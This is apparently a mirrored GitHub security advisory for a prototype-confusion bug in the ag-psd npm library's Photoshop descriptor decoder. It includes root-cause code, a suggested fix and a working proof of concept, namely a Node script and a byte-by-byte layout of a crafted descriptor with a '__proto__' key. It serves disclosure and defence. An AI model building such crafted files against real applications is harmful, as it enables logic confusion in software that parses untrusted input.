# GHSA-WHR2-HP4J-HXVJ: Prototype confusion in readDescriptorStructure() via attacker-controlled descriptor key (incomplete fix of GHSA-92m5-76fp-r4x7)

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2026-11-18
- Modified: 2026-11-18

## Affected versions

- ag-psd (npm): through 34.2.1

## Description

### Summary

readDescriptorStructure() in src/descriptor.ts decodes Photoshop's Action Descriptor binary format (used for layer effects, text styling, strokes, warps, and ~15+ other "additional info" blocks) by assigning each field directly with `object[key] = data`, where `key` is an attacker-controlled ASCII string read straight off the wire and `data` can itself be an attacker-controlled nested object. A field named "__proto__" whose value decodes to an object lets an attacker reassign the prototype of the decoded result to arbitrary attacker-chosen data (CWE-1321 / CWE-915).

This is the exact same root-cause pattern just fixed in createEnum() two days earlier (commit 5bdbc633, 2026-11-16 -> GHSA-92m5-76fp-r4x7, Medium). That fix only hardened the enum-value lookup table inside createEnum; it never touched readDescriptorStructure, which is the much more central, widely-reachable decoder backing nearly every compound field in the whole Action Descriptor format.

### Details

**Affected version:** 34.2.1 (current latest at time of testing).

**Root cause** — src/descriptor.ts, readDescriptorStructure(), approx line 453:

```ts
export function readDescriptorStructure(reader: PsdReader, includeClass: boolean) {
	const struct = readClassStructure(reader);
	const object: any = includeClass ? { _name: struct.name, _classID: struct.classID } : {};
	const itemsCount = readUint32(reader);

	for (let i = 0; i < itemsCount; i++) {
		const key = readAsciiStringOrClassId(reader);   // fully attacker-controlled string
		const type = readSignature(reader);
		const data = readOSType(reader, type, includeClass); // can itself be an object (type 'Objc')
		object[key] = data;                              // no guard against key === '__proto__'
	}

	return object;
}
```

`object` is an ordinary `{}` / `{_name,_classID}` literal, so it still has the inherited `Object.prototype.__proto__` accessor. `key` comes straight from `readAsciiStringOrClassId()`, an attacker-chosen length-prefixed ASCII string read from the file, with no allow-list, no `Object.prototype.hasOwnProperty.call()` guard, and no `Object.create(null)`/`Map` for `object` itself. A descriptor field whose key is literally "__proto__" and whose value decodes to an object (type 'Objc', the normal encoding for compound/nested fields) causes `object['__proto__'] = data` to invoke the inherited setter and reassign the decoded object's prototype to the attacker's chosen value.

**Reachability from the public API** — `readDescriptorStructure` backs `readVersionAndDescriptor`, which `src/additionalInfo.ts` calls directly for (non-exhaustive):
- layer effects (`LmfxDescriptor`/`Lfx2Descriptor`, keys `lrFX`/`lfx2`) — line ~692
- text layer data (`TextDescriptor`) — line ~66
- warp data (`WarpDescriptor`) — line ~70
- stroke style (`StrokeDescriptor`) — line ~1499
- smart-object placement (`SoLdDescriptor`) — line ~4108
- plus slices, artboards, timeline/animation frames, generator settings, and more (~15 call sites total)

All reachable through a single call to the public `readPsd()` on any PSD file containing one of these very common features (layer effects and text styling in particular are present in a large fraction of real-world PSD files).

**Dedup:** GHSA-92m5-76fp-r4x7 (published, Medium, patched in 34.2.1 via commit 5bdbc633, 2026-11-16) covers the same bug *class* but only inside `createEnum`'s internal `rev` reverse-lookup table — a narrower, already-patched instance. This is a distinct, unpatched instance of the same root cause in the much more central `readDescriptorStructure` sink. I checked recent commits, open issues, and the advisory list for this repo and found nothing covering `readDescriptorStructure` specifically.

**Suggested fix:** apply the same style of fix used for createEnum directly inside readDescriptorStructure — either build `object` via `Object.create(null)` (re-adding `_name`/`_classID` afterward if `includeClass`), or guard the assignment, e.g. `Object.defineProperty(object, key, { value: data, writable: true, enumerable: true, configurable: true })`, which preserves normal Object.prototype semantics for everything except the literal key "__proto__".

### Proof of concept

Verified live by execution against the published 34.2.1 build (no real Photoshop file or GPU needed — pure host-side parsing).

1. `npm install` inside the `ag-psd` package so `dist/` and dependencies (e.g. `pako`) are present.
2. Hand-craft a 78-byte buffer in ag-psd's own binary Action-Descriptor wire format, verified byte-for-byte against the library's own read primitives (readUnicodeString, readAsciiStringOrClassId, readSignature, readUint32/readInt32 big-endian, readOSType). The buffer encodes a descriptor with two fields: a legitimate `norm` field (type 'long', value 42) and a `__proto__` field whose value is a nested descriptor (type 'Objc') containing `isAd: true` (type 'bool').
3. Feed it directly into the installed package's own decoder:

```js
const { readDescriptorStructure } = require('ag-psd/dist/descriptor.js');
const { createReader } = require('ag-psd/dist/psdReader.js');

const buf = /* the 78-byte hand-crafted descriptor below */;
const reader = createReader(buf.buffer);
const result = readDescriptorStructure(reader, false);

console.log(result.norm);                                         // 42  (legit field, unaffected)
console.log(Object.getPrototypeOf(result) === Object.prototype);  // false  <-- prototype WAS changed
console.log(result.isAd);                                          // true  (inherited, NOT an own property)
console.log(Object.prototype.hasOwnProperty.call(result, 'isAd')); // false
console.log('isAd' in result);                                     // true
```

Byte layout of the 78-byte buffer (all integers big-endian, matching readUint32/readInt32BE):
```
u32(0)                     // outer name: unicode string length = 0
i32(0); ascii('TEST')      // outer classID (length=0 -> read raw 4-byte classId)
u32(2)                     // outer itemsCount = 2

i32(9); ascii('__proto__') // item1 key (ascii-string form, length=9)
ascii('Objc')               // item1 type = nested descriptor
  u32(0)                    //   nested name length = 0
  i32(0); ascii('TEST')     //   nested classID
  u32(1)                    //   nested itemsCount = 1
  i32(0); ascii('isAd')     //   nested item key (4-char classId form)
  ascii('bool')             //   nested item type
  u8(1)                     //   nested item value = true

i32(0); ascii('norm')      // item2 key (4-char classId form)
ascii('long')                // item2 type
i32(42)                      // item2 value = 42
```

Observed output when run:
```
Hand-crafted descriptor buffer: 78 bytes

result.norm = 42
Object.getPrototypeOf(result) === Object.prototype ? false
result.isAd (inherited from attacker-controlled prototype, NOT an own field) = true
Object.prototype.hasOwnProperty.call(result, "isAd") = false
"isAd" in result = true   (would wrongly pass an `if ('isAd' in layerData)` style check)

>>> VULNERABLE: a crafted PSD descriptor block set the prototype of the decoded
    object to an attacker-controlled object.
```

A runnable version of this exact script is attached/available on request (self-contained Node script, ~60 lines, only needs `ag-psd` npm-installed).

### Impact

Any application parsing an untrusted/third-party PSD file with ag-psd's readPsd() can have the decoded result object's prototype fully replaced by attacker-controlled data, for essentially any descriptor-backed field (layer effects, text styling, strokes, warps, smart-object placement, slices, artboards, timeline frames, etc. — present in a large fraction of real-world PSD files).

Concretely: properties the attacker defines on the injected "prototype" object become visible via inheritance (`result.whatever`, `'whatever' in result`) even though `result` never had an own property by that name. `hasOwnProperty` correctly returns false, but code that uses `in`, `for...in`, or relies on inherited lookups when inspecting parsed PSD layer/effect/text metadata can be fed attacker-injected fields it never explicitly set, leading to logic confusion in the consuming application. Since the nested "prototype" object is itself built from the same recursive decoder, the attacker has essentially free rein over what properties/values appear there. Depending on what the consuming application subsequently does with the parsed result (e.g. merging/spreading it into a shared object, or writing back into what it assumes is a plain data object), this could escalate further, in the same spirit as the impact framing used for the sibling advisory GHSA-92m5-76fp-r4x7.

Suggested severity: same class/severity as GHSA-92m5-76fp-r4x7 (Medium), arguably higher given the much broader reach (every Action-Descriptor-backed field in the format, vs. only enum-value fields).

## References

- https://github.com/Agamnentzar/ag-psd/security/advisories/GHSA-whr2-hp4j-hxvj

Page: https://cve.now/GHSA-WHR2-HP4J-HXVJ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
